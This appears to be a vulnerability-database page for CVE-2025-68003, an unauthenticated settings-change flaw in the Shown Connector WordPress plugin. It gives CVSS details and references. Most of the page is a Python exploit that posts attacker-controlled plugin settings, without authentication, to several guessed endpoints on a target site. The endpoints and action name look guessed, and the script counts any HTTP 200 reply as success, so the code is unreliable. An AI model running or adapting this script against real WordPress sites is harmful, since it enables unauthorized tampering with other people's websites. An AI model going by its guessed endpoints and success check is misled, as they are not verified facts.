CVE-2025-68003

Description

Missing Authorization vulnerability in renatoatshown Shown Connector shown-connector allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Shown Connector: from n/a through <= 1.2.10.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Shown Connector <= 1.2.10

shown-connector 插件所有版本 (从开发初期到 1.2.10)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68003 PoC - WordPress Shown Connector Authorization Bypass
# Target: WordPress site with shown-connector plugin <= 1.2.10

import requests
import sys

def exploit_cve_2025_68003(target_url):
    """
    Exploit for Missing Authorization vulnerability in Shown Connector plugin
    This PoC demonstrates how an unauthenticated user can modify plugin settings
    """
    
    # Target endpoint for settings modification (typical WordPress AJAX endpoint)
    endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php",
        f"{target_url}/wp-admin/admin.php?page=shown-connector-settings",
        f"{target_url}/wp-json/shown-connector/v1/settings"
    ]
    
    # Malicious settings payload
    payload = {
        'action': 'shown_connector_save_settings',
        'settings': {
            'connector_enabled': 'true',
            'display_mode': 'malicious_mode',
            'api_key': 'attacker_controlled_value'
        }
    }
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Exploiting CVE-2025-68003: Missing Authorization in shown-connector")
    
    for endpoint in endpoints:
        try:
            # Send request without authentication
            response = requests.post(endpoint, data=payload, timeout=10)
            
            if response.status_code == 200:
                print(f"[+] Successfully exploited endpoint: {endpoint}")
                print(f"[+] Response: {response.text[:200]}")
                return True
        except requests.exceptions.RequestException as e:
            print(f"[-] Failed to reach {endpoint}: {str(e)}")
    
    return False

if __name__ == "__main__":
    if len(sys.argv) > 1:
        target = sys.argv[1]
        exploit_cve_2025_68003(target)
    else:
        print("Usage: python cve-2025-68003.py <target_url>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68003
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68003
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68003/
[4] VulDB https://vuldb.com/cve/CVE-2025-68003
[5] https://patchstack.com/database/Wordpress/Plugin/shown-connector/vulnerability/wordpress-shown-connector-plugin-1-2-10-settings-change-vulnerability?_s_id=cve

Raw JSON Data

JSON

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